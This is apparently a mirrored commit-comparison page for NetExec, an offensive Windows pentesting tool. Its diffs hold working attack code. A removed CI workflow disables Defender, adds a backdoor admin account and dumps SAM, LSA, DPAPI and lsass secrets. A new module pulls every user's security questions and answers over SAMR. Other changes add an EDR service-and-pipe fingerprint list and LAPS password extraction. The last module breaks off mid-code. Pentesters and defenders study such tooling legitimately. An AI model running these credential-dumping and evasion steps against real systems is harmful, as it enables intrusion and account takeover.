mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
95
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
cfb1f66875 | ||
|
|
c0adbf1eb8 | ||
|
|
41b8fbb715 | ||
|
|
548b6d0c28 | ||
|
|
7b3145e6ec | ||
|
|
0234219daa | ||
|
|
cb639c8854 | ||
|
|
398716de24 | ||
|
|
a1ca2697e3 | ||
|
|
8ed41498ff | ||
|
|
ab0af5ab4a | ||
|
|
6651fb0698 | ||
|
|
1839f7a5ac | ||
|
|
a1c57ee8d2 | ||
|
|
280baadf07 | ||
|
|
766ef1e81e | ||
|
|
5ae4134ab7 | ||
|
|
2575bce0d6 | ||
|
|
3a5c109fed | ||
|
|
5b186f4295 | ||
|
|
54cad53328 | ||
|
|
e96c301721 | ||
|
|
3c64d27c68 | ||
|
|
71cb5e99ef | ||
|
|
d036fa8c04 | ||
|
|
fbf2546172 | ||
|
|
abb5f1d99a | ||
|
|
d9ce9e9b62 | ||
|
|
4045bb4185 | ||
|
|
9d8eeb80e1 | ||
|
|
f17ea75de3 | ||
|
|
18369b1739 | ||
|
|
3c89bcb19a | ||
|
|
68c827dcf6 | ||
|
|
eb6be54ff1 | ||
|
|
852e7819e5 | ||
|
|
42ce37d231 | ||
|
|
63e8295c46 | ||
|
|
b86f675100 | ||
|
|
ccbeb4e402 | ||
|
|
64e78fd7cd | ||
|
|
d8f0f41d76 | ||
|
|
9f3a77c2ab | ||
|
|
63f2d6943d | ||
|
|
c83895697f | ||
|
|
98236804ab | ||
|
|
f9b61391ca | ||
|
|
5b931d0cfa | ||
|
|
0d5ac4e59e | ||
|
|
45e1f0815f | ||
|
|
21b1cfbb8c | ||
|
|
da088d9e60 | ||
|
|
ce31e24111 | ||
|
|
aab22cf4bc | ||
|
|
6e391cad46 | ||
|
|
5983b86b52 | ||
|
|
669a55fd98 | ||
|
|
ead02d812e | ||
|
|
cce5c32eb1 | ||
|
|
b0b4641724 | ||
|
|
8bbab764c5 | ||
|
|
4f5453ee09 | ||
|
|
9d32ea0a2b | ||
|
|
e50f7acbd5 | ||
|
|
ada4905922 | ||
|
|
e13ec2776e | ||
|
|
39b877a3f1 | ||
|
|
da61939a0d | ||
|
|
3724142717 | ||
|
|
4919fe05fd | ||
|
|
6838793301 | ||
|
|
a579d2296a | ||
|
|
cc251e8b19 | ||
|
|
dcee201380 | ||
|
|
39006b1fed | ||
|
|
c09304ef6c | ||
|
|
008c490f5b | ||
|
|
9d3bc4d071 | ||
|
|
3eaa1632c9 | ||
|
|
763cf57c18 | ||
|
|
610bad1bae | ||
|
|
0aaad63819 | ||
|
|
406507e8de | ||
|
|
6c4e8ead5e | ||
|
|
5ff488eae5 | ||
|
|
c354978fa1 | ||
|
|
50ed8279e1 | ||
|
|
f55cbf6f23 | ||
|
|
219deaf073 | ||
|
|
169a7dc148 | ||
|
|
3deabf5787 | ||
|
|
07499a342f | ||
|
|
e8ecb716ee | ||
|
|
763f2f9384 | ||
|
|
abbcb85bb5 |
No files matched your search
@@ -1,179 +0,0 @@
|
||||
name: NetExec Checker
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
uses: ./.github/workflows/lint.yml
|
||||
nxc-smb:
|
||||
runs-on: windows-latest
|
||||
needs: [lint]
|
||||
# technique stolen from @Hackndo my best friend for life <3
|
||||
steps:
|
||||
- name: Create new user
|
||||
run: |
|
||||
net user nxc Pwn3d!!! /add
|
||||
- name: Add to local admin
|
||||
run: |
|
||||
net localgroup Administrators nxc /add
|
||||
- name: Update registry key
|
||||
run: |
|
||||
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
- name: 👾 Disable defender
|
||||
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
|
||||
shell: powershell
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.11'
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python3.11
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries without dev group
|
||||
run: |
|
||||
poetry install
|
||||
- name: Dumping sam
|
||||
run: |
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --sam
|
||||
- name: Dumping lsa
|
||||
run: |
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --lsa
|
||||
- name: Dumping dpapi
|
||||
run: |
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! --dpapi
|
||||
- name: Dumping with lsassy
|
||||
run: |
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -M lsassy
|
||||
- name: Exec command
|
||||
run: |
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=smbexec
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=wmiexec
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=atexec
|
||||
poetry run netexec smb %COMPUTERNAME% -u nxc -p Pwn3d!!! -x whoami --exec-method=mmcexec
|
||||
- name: Dumping with procdump
|
||||
run: |
|
||||
poetry run netexec --verbose smb %COMPUTERNAME% %COMPUTERNAME% %COMPUTERNAME% -u nxc -p Pwn3d!!! -M procdump
|
||||
|
||||
nxc-winrm:
|
||||
runs-on: windows-latest
|
||||
needs: [lint]
|
||||
# technique stolen from @Hackndo my best friend for life <3
|
||||
steps:
|
||||
- name: Create new user
|
||||
run: |
|
||||
net user nxc Pwn3d!!! /add
|
||||
- name: Add to local admin
|
||||
run: |
|
||||
net localgroup Administrators nxc /add
|
||||
- name: Update registry key
|
||||
run: |
|
||||
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
- name: Enable WinRM
|
||||
run: |
|
||||
winrm quickconfig -quiet
|
||||
- name: 👾 Disable defender
|
||||
run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs
|
||||
shell: powershell
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.11'
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python3.11
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries without dev group
|
||||
run: |
|
||||
poetry install
|
||||
- name: Dumping sam
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --sam
|
||||
- name: Dumping lsa
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! --lsa
|
||||
- name: Exec command
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1 -u nxc -p Pwn3d!!! -x whoami
|
||||
|
||||
nxc-rdp:
|
||||
runs-on: windows-latest
|
||||
needs: [lint]
|
||||
# technique stolen from @Hackndo my best friend for life <3
|
||||
steps:
|
||||
- name: Create new user
|
||||
run: |
|
||||
net user nxc Pwn3d!!! /add
|
||||
- name: Add to local admin
|
||||
run: |
|
||||
net localgroup Administrators nxc /add
|
||||
- name: Update registry key
|
||||
run: |
|
||||
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
- name: Update registry key rdo
|
||||
run: |
|
||||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||||
- name: Open Firewall
|
||||
run: |
|
||||
netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.11'
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python3.11
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries without dev group
|
||||
run: |
|
||||
poetry install
|
||||
- name: Checking rdp
|
||||
run: |
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
- name: Checking auth
|
||||
run: |
|
||||
poetry run netexec rdp 127.0.0.1 -u nxc -p Pwn3d!!!
|
||||
|
||||
nxc-ssh:
|
||||
runs-on: ubuntu-latest
|
||||
needs: [lint]
|
||||
# technique stolen from @Hackndo my best friend for life <3
|
||||
steps:
|
||||
- name: Enable ssh
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install openssh-server
|
||||
sudo systemctl status ssh
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: '3.11'
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python3.11
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries without dev group
|
||||
run: |
|
||||
poetry install
|
||||
- name: Connection with user
|
||||
run: |
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
@@ -1,11 +1,14 @@
|
||||
name: lint
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on: [workflow_call]
|
||||
on:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
Whitespace-only changes.
@@ -2,6 +2,8 @@ name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -12,7 +14,7 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12"]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
|
||||
+4
-1
@@ -85,6 +85,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
|
||||
return func(self, *args, **kwargs)
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
@@ -146,6 +148,7 @@ class connection:
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
@@ -541,7 +544,7 @@ class connection:
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
@@ -102,8 +102,9 @@ class NXCModule:
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
@@ -358,6 +358,27 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
|
||||
{"name": "mfemactl", "description": "Trellix Management Service"},
|
||||
{"name": "mfemms", "description": "McAfee Management Service"},
|
||||
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
|
||||
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
|
||||
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
|
||||
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
|
||||
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
|
||||
@@ -7,7 +7,7 @@ import re
|
||||
import sys
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
@@ -13,31 +14,31 @@ class NXCModule:
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No module options"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
portmap.connect()
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
context.log.debug(f"Retrieving network interface of {connection.host}")
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"DCERPCException error: {e}")
|
||||
+3
-3
@@ -45,12 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
@@ -78,7 +78,6 @@ class NXCModule:
|
||||
dump = True
|
||||
else:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
sys.exit(1)
|
||||
|
||||
if dump:
|
||||
regex = r"([A-Za-z0-9-]*.dmp)"
|
||||
|
||||
+1
-1
@@ -53,7 +53,7 @@ class NXCModule:
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Adamkadaban: @Adamkadaban
|
||||
Based on research from @0gtweet (@gtworek)
|
||||
|
||||
Much of this code was copied from add_computer.py
|
||||
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
|
||||
"""
|
||||
|
||||
name = "security-questions"
|
||||
description = "Gets security questions and answers for users on computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module):
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
server_handle = resp["ServerHandle"]
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
|
||||
domains = resp["Buffer"]["Buffer"]
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
|
||||
|
||||
# obtain domain handle for samr connection
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
|
||||
domain_handle = resp["DomainHandle"]
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumeration_context = 0
|
||||
|
||||
# try to iterate through users in domain entries for connection
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
try:
|
||||
context.log.info(f"Querying security questions for User: {user['Name']}")
|
||||
# request SAMR ID 30
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
|
||||
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
|
||||
|
||||
reset_data = info["Buffer"]["Reset"]["ResetData"]
|
||||
if reset_data == b"":
|
||||
continue
|
||||
reset_data = loads(reset_data)
|
||||
questions = reset_data["questions"]
|
||||
|
||||
if len(questions) == 0:
|
||||
context.log.highlight(f"User {user['Name']} has no security questions")
|
||||
else:
|
||||
for qna in questions:
|
||||
question = qna["question"]
|
||||
answer = qna["answer"]
|
||||
context.log.highlight(f"{user['Name']} - {question}: {answer}")
|
||||
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
except samr.DCERPCException as e:
|
||||
if "STATUS_INVALID_INFO_CLASS" in str(e):
|
||||
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
continue
|
||||
else:
|
||||
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
enumeration_context = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error: {e}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
